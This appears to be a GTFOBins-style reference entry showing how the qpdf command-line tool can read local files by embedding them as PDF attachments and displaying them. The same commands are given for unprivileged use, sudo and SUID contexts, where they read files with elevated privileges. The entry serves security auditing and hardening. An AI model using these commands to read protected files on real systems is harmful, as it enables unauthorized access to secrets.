qpdf

File read

This executable can read data from local files.

Unprivileged
This function can be performed by any unprivileged user.
```
qpdf --empty --add-attachment /path/to/input-file --key=x -- /path/to/output-file
qpdf --show-attachment=x /path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
qpdf --empty --add-attachment /path/to/input-file --key=x -- /path/to/output-file
qpdf --show-attachment=x /path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
qpdf --empty --add-attachment /path/to/input-file --key=x -- /path/to/output-file
qpdf --show-attachment=x /path/to/output-file
```